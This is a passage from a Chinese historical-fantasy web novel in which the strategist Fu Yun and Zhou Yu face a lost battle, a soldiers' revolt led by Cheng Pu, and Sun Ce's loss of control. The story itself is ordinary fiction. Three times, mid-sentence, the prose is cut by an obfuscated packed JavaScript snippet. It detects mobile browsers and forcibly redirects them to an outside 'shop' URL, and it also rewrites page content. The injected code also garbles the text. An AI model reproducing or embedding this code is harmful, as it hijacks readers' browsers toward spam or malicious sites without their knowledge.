她反复推演舆图上的每一条路径,所有布防都自洽无误,但她心中却总有一缕难以言明的违和之感。她告诉自己:就算自己思虑过深,但周瑜已经在苍狼道西侧布下疑兵,虚张声势,吸引敌军主力。如此一来,若是东门空虚,则可一举攻城;若是苍狼道西侧兵力不足,则三千石粮草唾手可得。若是两边都有守军,孙策与韩当二位皆是宿将,定然可以周旋得当。 但,心中的不安并无丝毫轻减,反而愈发沉闷,重重地挂在那里,将滴未滴。 她强迫自己不许再无端地猜想,甚至训斥自己身为军师,竟然假想军队败战,更何况种种推演皆已完备,如今大军已经出征,箭已离弦,再想是否有纰漏,也不过是徒添烦恼。 窗外雪融声窸窣,如沙漏计时,令她不得安寝,索性点灯披衣而起。 今夜的月色仿佛带着一丝红,她一时分不清是夜空的异象,还是自己眼中的血丝。东门的将士此刻也未歇息,既然她欲决胜千里之外,陪他们一同熬这一夜,也算不得什么苦差。 忽闻帐外脚步声至,一个熟悉的声音轻声唤她,语气里藏着试探与小心:“昭晦……” 她不答。 对方沉默片刻,又低声问:“睡不着吗?不如陪我走走?” 她掀开帐幕。 周瑜正立于帐外,眉目在月下柔和沉静。伏韫就这样看着他,周瑜亦不语,静静回望,像在听候发落。 她将他端详了好一阵子,终于走出帐外,算是在心中的天人交战中暂且鸣金收兵。 两人沿着营外僻静小径缓步,月光倾洒在二人外袍上,镀上一层柔和的光晕。二人的肩头几乎越靠越近,月光下,影子几乎要交叠而行。 四野寂静,天地皆昏睡梦中,只余两个闲人不语,唯有呼吸声相伴。 许久无言,周瑜终于开口:“昭晦,前日棋室是我失言了。无论因何,我都不该对你的心妄加揣测。” 伏韫并未即答,只是微微驻足,仿佛心中也一顿。她侧眸望向周瑜,目光斜睨中带上几分讥诮: “周郎竟也会有失言的时候?我以为你这般洞若观火之人,每句话都是恰到好处的点拨呢。” 周瑜听出她话中带刺,但这样火辣呛声,也总好过一语不发,只能继续柔声道: “我怎么敢点拨你。昭晦聪慧,何须我自作聪明?一切都怪我嘴笨,当时只见你棋风突变,以为你因大战在即,催逼自己太紧,以至乱了心神,本是关心,不曾想令你动怒至此。瑜,听凭军师发落。” 伏韫闻言,步伐更快,心中焦虑未定,听他一言更是火气上窜: “少拿你那套文绉绉的话来堵我。是,你说中了,我的确是心乱了。我也气我自己,竟然会为了这种事心乱。至于什么听凭发落,我最烦你这副疏远的样子,明明知道我不会,还要用军纪压我。若是我真要罚你,你又当如何?” 周瑜微一诧异,并未料到自己宽声缓语,竟如热油入水,溅起更滚烫的刺意,语气不由急切起来: “我何曾与你疏离?昭晦,你可记得寿春那日,我撞破你的秘密,垂手听你处置,此刻亦然。若你能心情畅快些,我又何尝不愿被你‘责罚’?只是你从未肯罚我而已。” 此言一出,伏韫怒意已蹿至头顶,脚步一顿,侧首深深剜了他一眼,下一瞬,便不再等他,大步流星,一人朝前方密林而去。 “喂,昭晦,等等我!” 周瑜的声音自身后传来,伏韫充耳不闻。远处林间鸦声阵阵,令这结冰的气氛更生几分尴尬。 他从身后追上来,一拉她衣袖,几乎要握住她的手,恳声道: “怎地又生气了?” 伏韫胸口起伏不定,满眼愠意几乎喷薄: “我今晚真是发昏了与你出来,平白无故生了一肚子气。你刚刚还说自己‘不该妄加揣测’,转瞬又猜上了。行,是我舍不得罚你,你满意了吧?” 周瑜微怔片刻,下一瞬,神情却松了下来,眼中浮起一抹难以掩饰的柔。 他拉着她衣袖的手未松,反而更紧些,声色也更缓些: “昭晦,你冤枉我了。我不是‘揣测’你,我只是……好像本能地‘了解’你。我知道你在想什么,同样,我也知道,你能猜到我的心思。” 他 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伏韫轻轻颔首:“你今夜未眠,亦非如是?” 他看着远处水寨的点点火光,轻声道:“兵已出征,多思无益。自寿春发兵以来,难得有如此风静月明之夜,不如再走走?或许,你也能心静一些。” 此言一出,忽如一柄长钩,勾住了她脑海深处尚未理清完毕的蛛丝,只一扯,无数思绪霎时如潮水翻涌。 她忽然停下脚步。 她想起她在寿春暴露时木牌“吱呀”断裂的脆响,想起初入舒城时见过的符纸,想起周瑜那日帐中推演时的沉默。 那一声轻语,霎时化作一道惊雷,轰然劈入伏韫脑中。 散落的片段在她心底疾速旋转缠绕: “我于寿春暴露之后,观衡宗刺杀不成,却未有追兵。我随大军至庐江的行踪,孙策的兵动调令,都瞒不过他们。所以他们停手,是不是因为他们早已洞察我的行踪,所以埋伏了更大的陷阱,只等我一跃而入?况且利用民心,故布疑阵,乃是观衡宗之强项。所以……那位所谓的‘仙师’,是否就是观衡宗的人?” 她思绪愈发急促,仿佛于无声中拨开层层迷雾: “观衡宗的人心思缜密,又师出同门,素知我用兵之道。倘若那仙师果真是同门,那……苍狼道的情报,是否也是他故意露出的破绽?” 推算至此,她的胸腔猛然紧缩,浑身血液仿佛都被冻结。那个她不愿承认的答案已经呼之欲出——东门的空虚,是对手的布局,她所有的布阵,皆中同门下怀。 她近乎本能地伸手抓住周瑜的手,指尖已经冰冷得像雪,声音干涩颤抖: “现在,行动可以停止吗?” 不待周瑜回答,夜风中已传来一声遥远而尖利的号角,撕裂夜色,带着无法逆转的决绝,将一切都锁死在这一刻。 她的脸色苍白如纸,空气凝结成剑,无声地贯穿她的胸膛。 终于,她缓缓转头,看向周瑜。那一眼千钧万重,带着一种沉痛的悲怆: “公瑾,我们要败了。” 17. 第十七章 夜的余温尚未褪尽,帐外夜风呜咽,卷起篝火的余烬。 伏韫一言的余震在周瑜的胸膛中至今未息。相识数月,他第一次见到伏韫如此无助惶惑的神色。 但他心中仍不肯置信。他早已料到苍狼道情报其中有诈,重重加密,就是为了欺骗伏韫这样的智者。故而他亦备下后手,就是为了这样的情况发生。但瞧见伏韫失魂落魄的背影,他心中忽然也泛起一丝异样的不安。 士兵们三三两两聚集在暖和的角落,搓手低语中望着皖城方向。偶有巡逻的马蹄声传来,都会引来无数双期盼却恐惧的眼睛。 周瑜披着斗篷,无声地穿行在营地小径中。他脑中反复回忆自己安排的岗哨和布防,这是他理智与直觉间唯一能让他保持镇定的理性屏障。但心中那股无端翻涌的异样,让他几乎难以自持。终于,他还是回到了自己的营帐,与伏韫一样,将自己包裹起来,不至于让其他将士看到自己的失常。 天边一线苍白下,地面隐约震颤,归来的脚步声愈来愈近。 号角并未如期吹响胜利的旋律,只有沉重的脚步,和浓烈的血腥,裹着空气向大营飘来。 “回来了!是主帅他们回来了!” 营地瞬间活了过来。无数士兵冲出帐外,但映入眼帘的,只有一支在地狱鏖战、劫后余生的残破之师。 孙策走在最前方,盔缨已不知所踪,脸上混合着血污与烟尘,战甲上甚至还有半截断箭。身后的幸存者,人人脸上带伤,甲胄破碎,互相搀扶的眼神中,只有死里逃生的麻木,和劫后余生的茫然。 周瑜快步迎上,目光迅速扫过队伍,心口猛地一沉。 他的后手起作用了,但伤亡依旧远超预估。 伏韫的悲观,是对的。 营中的士兵哑口无言,下一瞬,撕心裂肺的哭喊与寻找声打破了营地清晨的寂寥。 “方勇!你在不在——季常!季常你人呢!” “老朱!老朱!醒醒啊!” “太好了……太好了……你还活着……” 人群涌动,士卒疯了一样在幸存者中搜寻自己的兄弟、亲友、同乡…… 周瑜已经走入伤兵之中,动作迅速地为一名断臂的士兵按住伤口:“快!传军医!” 鲜血将他的衣衫濡染,伤兵惶恐茫然地看着他:“周公子,我的血把你的衣服弄脏了……” “都什么时候还管这个,能活着回来就是天大的事,先处理伤口再说!” 话音未落,周瑜已撕下自己衣上的布料,为伤兵止血。一名亲兵疾步而来,面色沉痛,手中抱着一顶沾满血污的头盔。 “周公子,陈伍长他……” 那顶头盔,属于一个昨夜还在与他拍着胸脯、豪情万丈保证“一定会拿下东门”的年轻将领。幻想在乱世中建功立业的年轻人,怎么会想到已经见不到翌日初升的太阳。 周瑜接过那顶头盔,胸中泛起一阵生涩的疼。他闭了闭眼,再睁开时,眼中只有一片冰冷的锐利。 “到底为什么,东门会败得如此惨烈?” *** 伏韫坐在中军帐内,听着营外阵阵悲切哭嚎,面无血色。那凄厉的嚎啕如无数根针狠狠扎在她的心上。她不愿承认,此时的她,没有颜面去见这些因她而起的因果。 门帘掀开,孙策带着一身血气步入。他反常得平静,但劲装下,因压抑而微微痉挛的紧绷肌肉,仍暴露了他的亢奋和虚脱。 他没有马上坐下,而是像一头困兽般在帐内来回踱步,拳头捏得死紧,带着一种强压下翻腾气血后的疲惫。 “我们中了埋伏。东门空虚,守军形同虚设。我们登城后,余下守军四散溃逃。但就在我们乘胜追击、冲入主街的时候,两侧民居阁楼突然射出无数火箭!我们要撤离,却发现街道已经被预设的路障层层封锁,我们的人马挤在狭窄的街道里进退不得,直接成了活靶子!” 他猛地一拳砸在桌案上,眼中怒火熊熊燃烧: “我当时就心道不妙,一群溃军哪来的时间去设置这些路障!还没等我反应过来,城中突然响起一阵奇怪的梆子声,然后伏兵就突然出现,杀得我们几乎无法招架回防!怎么会这么巧!就好像他们早就知道我们会如何突破!” 伏韫猛地抬头:“兄长,你还记得那个梆子声,是什么样的吗?” 孙策皱眉,眼神逐渐涣散,像在拼命回忆:“我只记得非常奇怪,而且节奏诡异得让人心慌,好像是一阵长长的连击,然后迅速敲了两声,伏兵……就像潮水一样涌了出来。” 一快,两慢。 这是同门的宣战檄文。 “是我的错……”伏韫的声音带着无法抑制的颤抖,泪水终于决堤,“周公子说得对,是我忽略了那个庐江仙师……” “不,是我的错!”孙策停下脚步,声音嘶哑,气息愈发粗重,“我是主帅,要怪只能怪我轻敌,没有注意到楼里的伏兵,才害死这么多兄弟!” “够了!” 周瑜的声音随着他掀帘而入。他的目光落在情绪激荡的两个人身上: “现在不是互相揽责的时候,主帅和军师都倒下了,军心要怎么办?” 他疾步走到孙策面前,按下他因情绪逐渐失控而起伏的肩膀,强迫他看向自己,语气斩钉截铁: “兄长,你是主帅!外面的将士还在等着你,他们需要看到你不被打垮的样子,才能有勇气继续打下去!” 周瑜的话像一盆冷水哗地浇醒了他。孙策隐有失控的呼吸逐渐平复下来,强自深吸一口气,狠狠抹了把脸,转身大步走向帐外。 *** 中军大营里只剩周瑜与伏韫二人。他没有立刻开口,而是走到皖城城中舆图前,回忆着孙策描述的战况,眉头紧锁。 片刻后,他缓缓侧首,几乎居高临下,望向伏韫。 “昭晦,你告诉我,为什么方才你会突然说‘我们要败了’?” 伏韫一时无言,周瑜更逼近一步: “东门主力伤亡虽重,但苍狼道的疑兵还是牵制了敌军。你言‘必败’,是不是发现了东门是陷阱?那个让你在战前就心神不宁的理由,到底是什么?” 伏韫紧紧闭上眼,身子因颤栗与冷意,无法自制地颤抖。她深吸一口气,缓缓睁开眼,直视周瑜: “因为,这个陷阱,就是冲着我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104008|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来的。陆康身边的仙师,就是观衡宗的人。这一场仗,就是要让我在军中顷刻失去立足之处。所以,我的同门才会布下一场……完全针对我用兵之道的杀局。” 帐内只余周瑜震惊的目光,和伏韫细碎的呜咽。 帐外风声喧嚣,军营震荡,动荡的前夜已然压顶。 *** 伤兵营像是被洪水席卷过的废墟,残旗垂落,瑟瑟风中。 就在这片死寂中,一些声音悄然生根发芽: “说到底……咱们怎么会打成这样?” “不是说军师算无遗策么?” “哼,‘算无遗策’?一个娘们,到头来把咱兄弟的命全都算进去了。” 这些窃窃私语如涟漪,一点一点渗透开来,悄无声息,却深入每个人的心里。 最初的疑问只是叹息,接着变成疑虑,再后来,是言之凿凿的指控。 所有人迫切地需要一个承托的出口,战败的迷茫,亲朋痛失的悲恸,以及那一点……早就已经被权威压抑,如今有了借口,便再难抑制的、勃然涌动的怒火。 “我早就说过,一个娘们能成什么事?就算是想出了取水寨的法子,也不过是侥幸而已!” “能信这娘们,主帅也……” “你不要命了,敢妄议主帅?我看主帅也是被她蒙蔽了!” “话也不能这么说。攻打东门的计策,我看周公子也拍板同意了。” “你只知其一不知其二,我可听说当时拍板这条计策,周公子说其中恐怕有诈,才备了后手,让一队佯攻苍狼道。否则我们这些人,岂不是都要被这女人害死了!” 愤怒裹挟着哀痛,从营地深处缓缓蔓延,像一场未曾鸣锣的哗变,悄无声息,却势如暗潮。 程普在营地外踟蹰。他目光冷冷扫过伤兵营,又遥遥望向中军大帐。脑海里浮现出往昔随孙坚征战的记忆,胸中旧怨与新愤搅作一团。 “孙公在时,何曾因一败而气馁?每次战败,他都能咬牙重振,手下将士,虽死犹荣!” 而帐中少主,一言不发,双目空洞,竟如行尸走肉,哪有半点往昔父亲的雄风? 一股悲愤与恐惧涌上心头: “若再这样下去,主公的基业迟早要毁在‘妇人之仁’和‘书生气’里!今日若不为亡者讨还公道,将来长沙义众,可还有谁肯为孙家赴汤蹈火?” 程普步入伤兵营,看着那些脸上尚未褪去稚气的少年兵,眼眶在火光中一点点泛红。 他缓缓拔出佩剑。 营中顿生哗然。 “程公要替兄弟们做主了!” “程公一声令下,我们便到帐前去问个明白!” “是啊,不能再让那个女人兴风作浪了!” “今日不报仇,誓不为人!” 怒火如干柴遇烈焰,野火燎原,在风中狂舞不息。程普看着面前血污未拭的将士,猛地转身,长剑指向主帐方向: “诸位,随我去讨一个公道!” 一声令下,火把如龙,愤怒浪潮如山崩地裂,怒涛狂啸。 大帐前,伏韫的命运,正被众生之怒,一步步推向深渊。 18. 第十八章 暮色四合,寒风凛冽,中军大帐已被层层围住,火把翻滚。伤兵、少兵、老兵,密密麻麻,眼中怒火,几乎要把整座大帐燃烧。 孙策推帐而出。他盔上的血污还未清洗干净,步伐略有一丝虚浮。因一夜未寝,眼下还有一圈淤黑。 他虽知道军中物议沸腾,却没想到,会是程普带着众人来到大帐前,几乎酿成哗变。 “此计由我而定,诸位兄弟若有怨恨,就冲着我来吧。” 程普缓缓上去,老泪纵横,声音几乎哽咽破碎: “少主啊,子元是文台儿时的兄弟,阿泰才新婚半个月,仲明年纪甚至不如你大,他们全都死在东门了!这些人都是跟着孙家打江山的好男儿,可如今,就因为你带来的那个女人,他们全都死了!” 风声呼啸,仿佛亦为程普之言而心碎。 “少主,你若是还记着老程和你父亲一道浴血沙场的情分,就该给兄弟们一个交代,不能让这些人的血都白流了啊!” 士卒哭声怒火骤然汹涌: “不能再让她害人了!” “主帅,不要被奸人蒙蔽了!” 孙策听着这铺天盖地的哭声与哀嚎,紧攥拳头,咬紧牙关。蓦地,他解下战袍,扯开颈甲,脖颈赤裸,暴露在火光之下。 “要问罪,我在这里。要杀要罚,从我头上来!” 人群陡然一静。火把在风中摇晃,映出一张仇恨与恐惧交错的脸。 “怎么了?刚才不是喊着要讨公道吗?”孙策目光扫过众人,周身漫着几乎骇人的杀意,“不如趁今日,把我这个主帅也一同兵谏了吧!” 程普仰天长叹,泪水顺着刀疤流下: “少主,你怎么能这么护着她?长沙旧部的命,江东子弟的命,就这么白白送了吗?!” 帐外再次喧哗四起,哭喊与咒骂在风声中被扭曲得几近狰狞。 “还我数百儿郎性命来!” “妖女,出来受死!” 这一声“妖女”,像一道惊雷劈进孙策耳中,更像一把刀锋,直扎入他心中最隐秘的一寸。 他原本还死撑着的主帅威严,被一声“妖女”炸得粉碎,自败战以来,积蓄了一整天的情绪,骤然决堤—— 败北的耻辱、弟兄的血债、军心的动荡、失察的羞愧……还有最不能说的那一点、对伏韫本能的保护欲。 他仿佛被点燃,胸膛猛地剧烈起伏,手背青筋如游蛇突起,身体中的另一个灵魂,像是要从皮肉里挣脱出来。 周瑜闻讯赶来,便见到这一幕。他远远看到孙策几乎发狂的状态,便知情势何等危急,三步并两步赶至孙策身侧,眼见他双目逐渐赤红,气息粗重,几乎开始失控,心下一沉,一手紧握孙策的双拳,转身对程普与帐前鼓噪的士兵厉声疾色: “诸位,战败之痛,人皆有之,但如此聚众哗变,难道是要不战自溃,令亲者痛、仇者快吗!” 他的声音如寒冰,瞬间穿透所有怒火,令所有人心口为之一冷。 但,晚了。 那一声“妖女”如同火星,倏然炸开了孙策心中积蓄的所有炸药,周瑜的阻拦,反而一时间堵住了所有情绪的出口,让那股毁灭性的力量更加猛烈地反噬。 他低低地咆哮一声。那声音不像是人的,更像是一头被逼至绝境的猛虎,殊死一搏。 “轰——!!” 周瑜只觉得一股巨力将他霍然推开半步。他堪堪站稳,便见帐前木桩上应声炸裂,卷起的木屑,仿佛孙策胸口喷薄而出的血,四下飞溅。 孙策站在狼藉的碎屑前,喘息低沉,浑身杀气翻涌,面色几乎狰狞。他的双眼血红如注,太阳穴突突跳动,整个人几乎要被另一个自己掀翻,如与另一头猛虎搏斗,浑身因竭尽全力而震颤,在几乎疯狂的边缘,用尽全力压抑那个要失控的自己。 程普呆愣一瞬,眼中泪光一闪,下一瞬跌跌撞撞地冲上来,如同他在他儿时哄他一般,死死扶住孙策的肩膀,声音颤抖: “孙郎,你要冷静啊!你要是倒了,旧部可真就全散了!阿策!听我的,别伤到自己了……” 孙策没说话,依旧低着头,眼中血丝密布,因筋疲力竭,汗水滴落,脊背微微颤抖,整个人如被钉在原地。 一时间,大帐外只剩孙策粗重的喘息。 这头未完全自驯的猛虎,将所有人震慑于原地,无人敢妄动,无人敢上前。唯有程普手足无措,试图安抚,但那双扶着孙策肩头的苍老的手,能感到孙策肩下肌肉一阵又一阵剧烈的颤抖,不知何时,那头狂暴的猛虎便要冲出理智的牢笼,危险一触即发。 *** 帐中,沉默不语的伏韫终于站起。 她抬手擦去脸上的泪痕,深吸一口气,将如千斤重的因果,悉数压入胸口,再沉沉埋入心底。 她收敛目光,神色渐冷,将唇角的颤意压住,换上那副她一贯示人的沉稳与从容,缓缓走出大帐。 凉风扑面,拂动她鬓发衣角。她脚步坚定,那一身袍氅披在身上,仿佛比铠甲更坚韧。 她没有看向火把下愤怒得几乎要将她生吞的人群,只注视着面前那个,布满汗水与血色的面孔。 周瑜站在孙策身侧,看到伏韫竟真的独自走出,几乎本能地想冲上去将她拉回。他比任何人都知道哗变中士兵的怒火有多危险,更何况这些怒火,仿佛被精准地引导过一般,几乎完全集中在她一个人身上。他也知道,孙策目前的状态 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108726|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并不稳定,马上要退行为一头毫无神识的野兽,只听凭丛林中弱肉强食的法则。 就在他险些不顾一切冲上去拉住她时,伏韫侧颜,向他投来一瞥。那一眼平静坚定,像是早就算到这一幕,像她手中推演过百次的局势,不容置喙。 周瑜的脚步霎时钉在原地,也读懂了她的意图。但巨大的担忧仍如潮水般冲击着他,他只能束手无为,但目光仍在暴怒的兵士与那道单薄却决绝的身影之间疾速逡巡,全身戒备提至顶点。 孙策的目光猛地转向她,宛如野兽察觉猎物骤然靠近,赤红的双目里天人交战,有一丝对她孤身而出的担忧心疼,有一丝对她蓦然靠近的惊异疏离,还有一丝极力压抑另一个自己的挣扎疯狂。 伏韫没有退。她早已无数次身临其境。 她对上孙策的目光,从袖中缓缓取出一个小巧的香囊,指尖轻捻,一缕极淡极清的药香,在风中悄然散开。 她走到孙策面前。他的杀气扑面而来,她却纹丝不动,只隔他一臂之距,轻唤一声: “伯符。” 那一声,令孙策眉头几乎一松,在他几欲崩溃的神经里,打开一道理智的缝隙。 但浑身的怒意随之杀到,双目间赤红与澄澈陷入更加难舍难分的争斗,人性与兽性难分伯仲地厮杀,从呼吸声中倾泻出沙哑的喉鸣,呼吸起伏未止。 伏韫不闪不避,将香囊举到他鼻下,语气低柔却坚定,几乎无法推拒: “吸一口。” 药香随话音方落盈盈而出,不腥不烈,清凉直透心肺。 孙策未动,青筋暴起,胸中火气翻滚,但她一声轻唤,却如清泉水声琮琮,流入心田,令他瞳孔开始隐隐收缩。 然后,他吸了一口。 草药气味在肺腑间爆开,像顿时冲进一股寒流,席卷他狂燥的心火,两者缠斗如浪潮跌宕,呼吸顿时更为剧烈,手背的青筋还在跳动。 “妖女!你在干什么!” 程普几乎要冲上来,伏韫却忽然回首,那目光顿时透出一阵凛冽到令人窒息的寒光,令程普也不自觉脚步一顿,生生被喝退。 她低声又道:“再吸一口。” 她的声音仿佛从极远的地方传来,如同神谕,在风暴中冥冥为他指引脱身的方向。 他再次深呼吸。 风静了。整座营地仿佛静止,只剩二人之间的救赎。 孙策眼中原本暴乱如潮的血色逐渐褪去,取而代之的,是一种极度疲惫后的怔然。他缓缓合上眼,再睁开时,眼中的光已渐渐复明,为清明的神识所占据。 他的肩膀缓缓垂落,手掌松开,所有怒意仿佛随着药香散去,混入风中。 他终于冷静了。 19. 第十九章 程普见孙策神志慢慢恢复,一时惊疑不定,望向伏韫的目光带着愤怒与警惕: “你、你这是用了什么妖法!” 众士兵目光齐刷刷投向伏韫,惊恐狐疑之中,甚至有人已经攥紧了刀柄。 伏韫眸光沉定,迎着一片混乱与质疑的注视,目光在营中众人间缓缓扫过: “这并非妖法。方才少主之所以能够脱离业火,不是因为施法,而是主公亡魂显现,庇佑此地,亲自前来劝慰。” 话音甫落,仿佛为印证此言,帐外忽起一阵怪风,帐帘猎猎作响,仿佛有一道目不可视的影子从夜色中骤然穿过。 那一刻,仿佛空气真的凝固。 “难道主公,真的显灵了?” 不知是谁低语了一声,窸窸窣窣的议论响起。本来剑拔弩张的氛围,就在这诡异的寂静与窃窃私语间,裂开了一道缝隙。 孙策刚从失了神志的混沌中苏醒,伏韫此言如猛然将他颠倒架起,置于众目睽睽的炙烤之中。孙策能感到,所有目光都聚集在自己身上,想从他的行迹来判断这女人是否妖言惑众。 他眼中浮起一丝狐疑,但下一瞬,他捕捉到了伏韫的目光,那是一种毫无保留、全然置信的眼神,像完全将自己的命运交给他,等待他的一语判决。 那一刻,他脑海中蓦地浮现起曾经三人的推演之夜。 ——“他信你父亲的鬼魂。” 刹那之间,所有困惑都有了答案。 孙策血液中那点疯劲与急智被瞬间唤醒,他几乎是立刻投入了角色,赶紧闭上眼,剧烈咳嗽几声,像是大梦初醒,筋骨连着皮,被霍然剥开时的疼痛喘息。再将眼睛睁开,眸中已多了几分哀恸与肃穆。他环视四周,哀语如泣: “方才我神识不清时,仿佛看到父亲白衣而来,眉眼依旧如从前,当头便对我训斥,言我身为主将,不稳定军心,妄自菲薄,竟因一时败仗自乱阵脚。父亲托付我,无论何时,都要牢记身为主帅之责,要好好护住江表将士的性命。” 他头颅低垂,仿佛沉浸在神启未褪的余韵中。话音未落,周围已有旧部士兵悄然红了眼眶,用手背拭去眼泪。 伏韫不动。有士兵抬眼看去,只见她站在一个绝佳的位置,影子在火光下被拉得很长,仿佛神明代言人,周身气质愈发神秘莫测,一言不发,只垂头静观神启现世。 孙策的声音依旧沙哑,却有意放慢语速,压低声调,模仿生前孙坚的音色,飘渺低语,使之如冥冥之中传来: “父亲告诉我,此女非为常人,乃吾之子房,助我定鼎大业,万不可因一时败仗而妄加责罚。若杀错贤才,才是寒了天下贤者之心。” 他顿了顿,又缓缓转向程普,目光中盛满关切与温情,甚至还混着点刻意模仿父亲的意味: “德谋伯父,父亲还叮嘱我,要你多留意冬日旧疾。昔日你与父亲同营奋战,寒天苦战,膝伤易痛,父亲常放在心上。” 程普一怔,如遭雷殛,整个人几乎踉跄一下,骤然凝滞,连原本紧绷的手臂也不自觉垂下。那膝伤的钝痛、冬日营帐里咬牙撑过的风寒、昔年与孙坚并肩血战的情景,一时间全都翻涌而出,潮水般席卷了他满是皱纹的心头。 他喉咙一紧,眼圈在火光下泛起通红,嘴唇哆嗦着动了动,终是低低哽咽出声: “孙公在天有灵,果然……不曾忘我……” 中军大帐内的火把依旧摇曳,照耀中记录下那些士兵面庞上神情变化的蛛丝马迹。质疑与敬畏,狐疑与动摇,交织其中,狂躁的乌合之众,正在被一点点拉回理智的世界。 伏韫并未让这一点沉默凝固太久。 她缓步走向程普,俯身亲自将程普扶起。程普看着她,那双方才一瞬间透露出极致杀意的眸子,此刻清明如雪,褪回了十五六岁少女应有的模样。他神情恍惚,眼神竟在此刻,显出一点敬惧交织的信任。 伏韫转身,直面帐中诸将,眸色沉凝,声虽清脆,却掷地有声: “诸位,此役兵败,非战之罪,非天命苛责,而是完全针对我个人的陷阱。庐江守军如此布置,并非陆康一人之功,而是背后有一位深藏不露之人,与我师出同门,故而洞悉我个人用兵之道。那一快两慢的梆子声,就是对我,也是对我们所有人的宣战。” 她语调未变,迎着军中已然涌起的骚动,一字一句: “是我低估了那位仙师的狠毒,数百将士之死,是我之责。是我识敌不明,失于谨慎,才使诸位弟兄血洒东门。韫,坦然受过。” 那一刻,大帐内的怨气,因伏韫的认罪悄然熄灭。那些对她曾经怒目相向的眼睛,此时轻轻垂下,酝出的泪花如雨点落下。曾经的质疑,渐渐被一种新的情绪取代。 那个文弱女子,挺立火光之下,竟如一幡不动的旗帜,不可撼动屹立众人之前。她环顾四方,语气转冷: “江东儿郎的血不会白流,此事不可能轻轻揭过,我一定会为诸位讨还此仇,不雪此恨,誓不罢休!” 话音落地,众人如梦初醒,下一瞬,众人群情激昂,已有人振臂高呼“报仇”,躁动如火。 电光石火之间,帐外忽然传来一阵惊天动地的马嘶与金戈撞击巨响! “马!马受惊了!快拦住!” “让开!小心!” 话音未落,一匹挣脱了缰绳的高大战马蓦然冲进中军大帐领地,鬃毛倒竖,嘶声如雷。队尾士兵纷纷冲上去拉住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17108727|194539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缰绳,试图让它停下,但那马已经发疯,双目血红,猛地长嘶竖立,前蹄扬起,将拉扯的士兵甩开数尺之远,如疯魔一般,直冲前门而来! 众人尚未来得及反应,一道黑影已经挟风而入,犹如风卷残云。惊变,倏然而至! 大帐前顿时乱作一团,众人四散逃窜,有人慌忙中想搬来路障,却直接被撞翻。方才重拾的军心与秩序,在这一片慌乱中瞬间崩塌,一时间,空气中只有嘈杂的惊叫与马啼长嘶的混乱。 那疯马甩蹄狂奔,撞翻两名挡路兵士后,竟在混乱之中,直直奔向——伏韫! 孙策离得最近,几乎没有任何思考的余地,只来得及沙哑怒吼一声: “昭晦——!” 他猛地扑出,如离弦之箭扑向伏韫,几乎将她野蛮地按倒在地,死死护在身下,手臂死死圈紧她的肩膀,整个人化作一道血肉之墙,毫无保留地,将她与所有危险隔开。 伏韫被扑倒的瞬间,余光瞥见另一道身影,亦如电光般破风而至。 周瑜未曾后退半步,反而迎着烈马而上,几乎瞬间冲到了马匹身侧。马刚扬蹄几欲落下,他便已扑到马首侧前,一扯缰绳,整个人贴紧马头。 烈马被这突如其来的控制激怒,前蹄高高扬起,如法炮制,要将他生甩出去,可下一瞬,他猛地贴近它的头颅,以无人能懂的语言,飞快如布咒,在它耳边低沉急促地耳语了几句。 风声呼啸之间,马匹的双目竟瞬间恢复清明。 那股癫狂被生生怔住,前蹄落下,不复方才冲撞,狂嘶骤歇,尘埃落地。它喘息依然粗重,却已经平静下来,甩了甩鬃毛,任由周瑜引缰勒马,低头驯服。 大帐内的混乱,一瞬止息。 众人惊骇未定,只见周瑜立于烈马一侧,抚摸它的鬃毛,仿佛所有惊涛骇浪都与他无关,虽鬓边微乱,但衣袂飘扬间,神色淡然自若,一如神使。 而地上,孙策依旧紧紧抱着伏韫,力道大得几乎要将她缚于怀中,不得动弹。 他率先起身,急切查看她的伤势,嗓音颤抖,带着未散的惊惧与疼惜,一手扶起她的肩: “昭晦,你有没有事?有没有受伤?” 他抱着她,感受她的温度与呼吸,顺着她的目光看去,话音未落,心脏已骤然一震。 伏韫还在地上,气息急促,额发因这突然的变故微微散乱,脸上还沾着尘土。但灰扑扑的脸上,目光却晶亮,透过纷飞的尘埃,越过他的目光,死死凝在另一个人身上。 落在那个月白衣衫的少年身上。 他只觉心口倏地一空,如坠冰窟,钝寒阵阵。 那样钦慕得不加掩饰的目光,他似乎从未在她眼中看到过。 20. 第二十章 伏韫蓦然回神,才觉察自己仍蜷伏在地,半边身子还被孙策紧紧揽在怀中。 “兄长,失礼了。” 她轻轻一动,孙策几乎凝固的目光才有所波澜,手却迟了半拍才松开。 伏韫挣扎着起身,身形微颤,孙策下意识伸手欲搀,却在触碰前生生止住。 他看到,她几乎是本能地避开了他的目光。 